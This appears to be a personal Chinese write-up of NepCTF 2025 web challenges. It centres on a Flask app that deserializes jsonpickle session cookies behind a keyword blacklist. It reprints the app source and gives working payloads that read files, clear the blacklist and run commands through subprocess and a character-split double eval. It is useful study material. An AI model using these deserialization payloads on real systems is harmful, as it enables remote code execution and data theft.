Nepctf2025-web
NepCTF2025 - WEB
唉,java出了三个签到题,难度高的sql,xss又是我最不会的,中等难度的python又看不懂
没了drun1baby师傅出题,java感觉确实不行
groovy
两个直接问gpt就出了
javaSeri
工具一把梭
safe_bank
看了挺久,但真看不懂python源码,也不会写python。。。
看到这个我就知道是大概的解题思路
然后就看jsonpickle了
从源码看JsonPickle反序列化利用与绕WAF-先知社区 (aliyun.com)
{"py/object": "glob.glob", "py/newargsex":[{"py/set":["/*"]},""]}
{"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/*"]]}
这两个还能用,套在user中就能回显,读取源码
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time
app = Flask(__name__)
app.secret_key = os.urandom(24)
class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd
class Session:
def __init__(self, meta):
self.meta = meta
users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]
def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json'
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"
@app.route('/')
def root():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if not username or not password or not confirm_password:
return render_template(\'register.html\', error="所有字段都是必填的。")
if password != confirm_password:
return render_template(\'register.html\', error="密码不匹配。")
if len(username) < 4 or len(password) < 6:
return render_template(\'register.html\', error="用户名至少需要4个字符,密码至少需要6个字符。")
if register_user(username, password):
return render_template(\'index.html\', message="注册成功!请登录。")
else:
return render_template(\'register.html\', error="用户名已存在。")
return render_template('register.html')
@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template(\'index.html\', error="登录失败。用户名或密码无效。")
@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for(\'root\', error="缺少Token。"))
try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template(\'error.html\', error="Token格式错误。")
ban = waf(decoded)
if waf(decoded):
return render_template(\'error.html\', error=f"请不要黑客攻击!{ban}")
try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))
return render_template('admin_panel.html')
except Exception as e:
return render_template(\'error.html\', error=f"数据解码失败。")
@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))
try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template(\'error.html\', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template(\'error.html\', error="访问被拒绝。只有管理员才能查看此页面。")
flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))
@app.route('/about')
def about():
return render_template('about.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
考虑怎么绕过黑名单
然后就在不断试newargsex和newargs、__builtin__
,尝试置空黑名单
最后还是没解出来
赛后看到LamentXU师傅思路
置空黑名单
list.clear()方法置空数组
__main__.FORBIDDEN.clear
我在尝试的时候只试过__main__.FORBIDDEN
,根本不知道还能这样用,因为我看例子中都是模块.方法
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
然后随便一种执行/readflag即可
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag"]},"ts":1753446254}}
命令执行
为了兼容python2和python3
把__builtin__
和exceptions
都当作builtins
这也是为什么我当时在本地测试时可以成功执行的原因(后面没做出来是因为eval要执行python代码,我还以为能直接执行/readflag呢,然后一直报错,我就以为远程不能用呢)
能执行python代码就考虑怎么绕过
采用’’.join()来绕过
exp = '''{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__builtin__.eval","py/newargs": [{"py/object":"__builtin__.eval","py/newargs":["''.join(['_','_','i','m','p','o','r','t','_','_','(','\\\"','o','s','\\\"',')','.','p','o','p','e','n','(','\\\"','/r','e','a','d','f','l','a','g','\\\"',')','.','r','e','a','d','(',')'])"]}]}}}'''
采用两次eval,第一次执行,合并成字符串,第二次就是执行代码
fake_xss
没看
好像前半段是一个腾讯云oss,然后拿js代码,感觉挺有趣
后面是xss,没兴趣
sql
clickhouse数据库
主要还是翻文档吧,我连黑名单都绕不过
reference
nepctf 2025 web wp - LamentXU - 博客园 (cnblogs.com)
finally
java题挺没意思的,唉,没前两年有意思